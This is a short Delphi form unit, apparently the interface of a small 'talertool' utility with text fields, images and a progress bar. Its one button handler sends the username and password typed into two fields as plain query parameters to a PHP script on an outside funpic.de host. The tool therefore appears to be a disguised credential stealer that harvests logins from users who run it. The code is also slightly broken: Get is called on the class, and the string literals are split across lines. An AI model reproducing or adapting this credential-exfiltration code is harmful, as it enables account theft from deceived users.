unit Unit3;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Borland.Vcl.StdCtrls, System.ComponentModel, Borland.Vcl.ExtCtrls,
Borland.Vcl.Buttons, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP, Borland.Vcl.ComCtrls;
type
TForm3 =
class(TForm)
Image1: TImage;
Label1: TLabel;
Edit1: TEdit;
Edit2: TEdit;
Label2: TLabel;
Edit3: TEdit;
Edit4: TEdit;
Image2: TImage;
SpeedButton1: TSpeedButton;
ProgressBar1: TProgressBar;
Timer1: TTimer;
IdHTTP1: TIdHTTP;
procedure SpeedButton1Click(Sender: TObject);
private
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;
var
Form3: TForm3;
implementation
{$R *.nfm}
procedure TForm3.SpeedButton1Click(Sender: TObject);
begin
TidHTTP.Get('
http://1337ftp.13.funpic.de/talertool.php?username='+Edit3.Text+'
&pass='+Edit4.Text+'
');
end;
end.